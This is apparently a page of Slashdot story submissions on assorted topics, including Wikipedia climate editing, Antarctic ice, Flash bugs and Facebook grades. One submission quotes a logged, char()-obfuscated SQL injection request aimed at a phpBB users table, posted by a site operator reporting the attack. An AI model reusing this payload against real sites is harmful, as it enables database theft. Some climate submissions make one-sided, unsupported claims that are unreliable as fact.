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Submission + - Climategate spreads to Wikipedia (nationalpost.com) 14

sparkydevil writes: Some catnip to those who have long argued about administrator bias and groupthink in Wikipedia.

Canada's National Post reports here and here that one of the objectives of those promoting Climate alarm was to control Wikipedia. Starting in February 2003 U.K. scientist and Green Party activist William Connolley, one of nine Realclimate.org team members, rewrote Wikipedia'½Â½Â(TM)s articles on global warming, on the greenhouse effect, on the instrumental temperature record, on the urban heat island, on climate models, on global cooling as well as working to erase the Little Ice Age, the Medieval Warm Period and infamous hockey stick graph. He rewrote articles on the politics of global warming and on the scientists who were skeptical of the team.

According to the article Connolly created or rewrote 5,428 unique Wikipedia articles, removed more than 500 articles as an administrator and barred over 2000 Wikipedia contributors while rewarding those who supported his views. "In these ways, Connolley turned Wikipedia into the missionary wing of the global warming movement."

Submission + - Norton 360 - The Truth!!!! (cyberjoes-pc-help.net)

JMourcella writes: Norton 360 — Buyers Beware!!!! It seems major PC outlets such as websites and magazines are raving about Norton 360 but user reviews tall a much different story.
Real Time Strategy (Games)

Submission + - Group of gamers raise 12000$ for ACT

crazykracker writes: A group called the Speed Gamers, have started a mission to raise $20,000 for Autism Care and Treatment. 48hours into the 7 day marathon they have raised over $12,474, and they are still going. They are currently working FF5. This is the 12th marathon they have held for various charities, and could use some more support for the cause. http://www.thespeedgamers.com/ they have a link to the ACT donation site and currently have over 2400 viewers.
It's funny.  Laugh.

Submission + - Alaskan Blob is an Algae Bloom (time.com)

Bryan Gividen writes: Time.com is running a story on the previously unidentified blob floating off of the coast of Alaska. The article states that the blob is an algae bloom — far less sinister (or exciting) than any The Thing or The Blob comparison that was jokingly made. From the article: "'It's sort of like a swimming pool that hasn't been cleaned in a while.' The blob, Konar said, is a microalgae made up of 'billions and billions of individuals.'"
Privacy

Submission + - MIT spying on students (mit.edu)

An anonymous reader writes: MIT has been monitoring student internet connections for the past decade without telling them. There is no official policy and no student input.
Earth

Submission + - Antarctic ice is growing, not melting away 2

schwit1 writes: A report from The Scientific Committee on Antarctic Research says that Antarctic ice is growing, not melting away.

Ice core drilling in the fast ice off Australia's Davis Station in East Antarctica by the Antarctic Climate and Ecosystems Co-Operative Research Centre shows that last year, the ice had a maximum thickness of 1.89m, its densest in 10 years. The average thickness of the ice at Davis since the 1950s is 1.67m.

A paper to be published soon by the British Antarctic Survey in the journal Geophysical Research Letters is expected to confirm that over the past 30 years, the area of sea ice around the continent has expanded.
The Internet

Submission + - Obama Appoints Non-Tech Guy as Chief Techie (venturebeat.com)

NewYorkCountryLawyer writes: "President Barack Obama has named his chief technology officer, and the appointee is not a Silicon Valley name like so many predicted. He is Aneesh Chopra. As the Secretary of Technology for the Commonwealth of Virginia, his job has been to 'leverage technology in government reform, promote Virginia's innovation agenda, and foster technology-related economic development with a special emphasis on entrepreneurship.' But Chopra's not a tech guy. Before he got his secretary job in 2005, he was a managing director at the Advisory Board Company, a public-market health care think tank, as well as an angel investor."
Security

Submission + - Googlebot attacks 1

JWSmythe writes: It looks like Google's Googlebot's have been exploited.

    Today I noticed a surge in our server load. I had a look at our access logs, and found tens of thousands of requests like this. This is one from my Apache logs. (lines broken intentionally)

66.249.71.99 — -- [16/Apr/2009:18:16:51 -0400] "GET /mobile.story.php?sid=19365'%20and%201=2%20union%20select%201,
CONCAT(char(118),char(97),char(114),char(99),char(104),char(97),
char(114),char(39),char(124),(SELECT%20column_name%20%20from
%20information_schema.COLUMNS%20where%20table_schema=
CONCAT(char(100),char(117),char(98),char(116),char(101),
char(114),char(114),char(111),char(114))%20and%20table_name=
CONCAT(char(112),char(104),char(112),char(98),char(98),char(95) ,char(117),char(115),char(101),char(114),char(115))
%20limit%2011850,1),char(124),char(39)),3,4,5,6,7,8,9%20and
%20'1'='1 HTTP/1.1" 200 1342 "-" "Nokia6820/2.0 (4.83)
Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;
Mediapartners-Google/2.1; +http://www.google.com/bot.html)"

It's a good thing my site is coded well. These sort of things don't get anywhere.

Parts of the request may be spoofed, but the IP is awful hard to spoof. That's a Googlebot IP.

The heaviest offender is an IP in China, with 48k requests. Google owns the rest.

My list of attackers from the last two hours are:

    48368 113.232.73.2
    22032 66.249.71.99
            2 66.249.71.21
            2 66.249.67.179
            2 66.249.66.244
            2 66.249.66.206
            1 66.249.73.37
            1 66.249.73.106
            1 66.249.72.139
            1 66.249.72.136
            1 66.249.71.134
            1 66.249.71.108
            1 66.249.70.75
            1 66.249.70.59
            1 66.249.70.248
            1 66.249.70.219
            1 66.249.70.193
            1 66.249.67.118
            1 66.249.65.83
            1 66.249.65.110
            1 66.249.65.109

    If anyone has any suggestion who could be masquerading as Google from their own IP's, that would be nice. I've blocked the offensive IP's at our firewall, so they are nothing more than a gnat buzzing at the door.
Software

Submission + - Serious flash bug in Linux and OSX now 1 year old

JickL writes: "A crippling bug in Adobe Flash, rendering input of international characters in text input fields broken, has been left unsolved for over a year. Almost no response from Adobe so far, and the bug has been reported in OS X too. Users are reporting their companies giving up on the Flex development platform due to this issue, yet still no reply, A good example of the shortcomings of closed source bug hunting?"
Microsoft

Submission + - Gaming the stock market with Windows Update

ichbineinneuben writes: Once Windows Updates are made mandatory at a company, and pushed out to users across the network, visibility over which updates are installed disappears for everyone but the sysadmin. An unscrupulous Microsoft employee could exploit this — pushing redundant updates to some companies (by IP address range?) and not others. Having this much of a brake to apply to the company's operations opens up the possiblity that stock trading for the target company could be gamed with this method. Is anyone looking out for this? Sysadmins comparing notes, perhaps? (This possibility didn't occur to me until day three of watching my solid modeling workstation robbed of 12 percent of it's processing power by nearly continuous updates.)
Announcements

Submission + - After a Firebombing, Animal Researchers Fight Back

yay for science writes: A UCLA researcher whose car was firebombed by animal rights extremists has formed a group called UCLA Pro-Test, which will hold its first rally on April 22nd in support of humane, regulated animal testing. He works on monkeys, but for damn good causes — understanding schizophrenia and drug addiction. http://blogs.discovermagazine.com/80beats/2009/04/16/after-a-firebombing-pro-test-rallies-in-support-of-animal-research/
Hardware Hacking

Submission + - Help me track down a possibly non-existent device 1

Yorgan writes: "I'm looking for a device that a) Fits in my pocket; b) Can act as a USB Host and Device simultaneously — like a Hub, although it need only one upstream and one downstream port. Regular old "Full-speed" is fine, 12 Mbit/s is more than enough bandwidth for my purposes. c) Has some sort of embedded microcontroller that is fully programmable and powerful enough for non-trivial stuff. C support would be nice but I'll take straight assembler if that's all that's on offer; I'm a programmer familiar mainly with application development in Java and Python, and with no real electrical or computer engineering background, so the least hairy low level stuff I can get away with and still manage to get some hacking done with this thing, the better. Cheap would be nice, too :-) Google is proving suprisingly unable to assist on this one. Can any slashdotters point me in the right direction?"
Math

Strings Link the Ultra-Cold With the Super-Hot 236

gabrlknght writes "Superstring theory claims the power to explain the universe, but critics say it can't be tested by experiment. Lately, though, string math has helped explain a couple of surprising experiments creating 'perfect liquids' at cosmic extremes of hot and cold. 'Both systems can be described as something like a shadow world sitting in a higher dimension. Strongly coupled particles are linked by ripples traveling through the extra dimension, says Steinberg, of Brookhaven. String math describing such ripples stems from an idea called the holographic principle, used by string theorists to describe certain kinds of black holes. A black hole's entropy depends on its surface area — as though all the information in its three-dimensional interior is stored on its two-dimensional surface. (The 'holographic' label is an allusion to ordinary holograms, where 3-D images are coated on a 2-D surface, like an emblem on a credit card.) The holographic principle has value because in some cases the math for a complex 3-D system (neglecting time) can be too hard to solve, but the equivalent 4-D math provides simpler equations to describe the same phenomena.'"
Social Networks

Facebook Users Get Lower Grades In College 284

Hugh Pickens writes "According to a survey of college students Facebook users have lower overall grades than non-users. The study by Aryn Karpinski, an education researcher at Ohio State University, found that Facebook user GPAs are in the 3.0 to 3.5 range on average, compared to 3.5 to 4.0 for non-users and that Facebook users also studied anywhere from one to five hours per week, compared to non-users who studied 11 to 15 or more hours per week. Karpinski emphasized that correlation does not equal causation and that the grades association could be caused by something else. 'I'm just saying that there's some kind of relationship there, and there's many third variables that need to be studied.' One hypothesis is that students who spend more time enjoying themselves rather than studying might tend to latch onto the nearest distraction, such as Facebook or that students who use the social networking site might also spend more time on other non-studying activities such as sports or music. 'It may be that if it wasn't for Facebook, some students would still find other ways to avoid studying, and would still get lower grades. But perhaps the lower GPAs could actually be because students are spending too much time socializing online.' As for herself, Karpinski said she doesn't have a Facebook account, although the co-author of the study does. 'For me, I think Facebook is a huge distraction.'"

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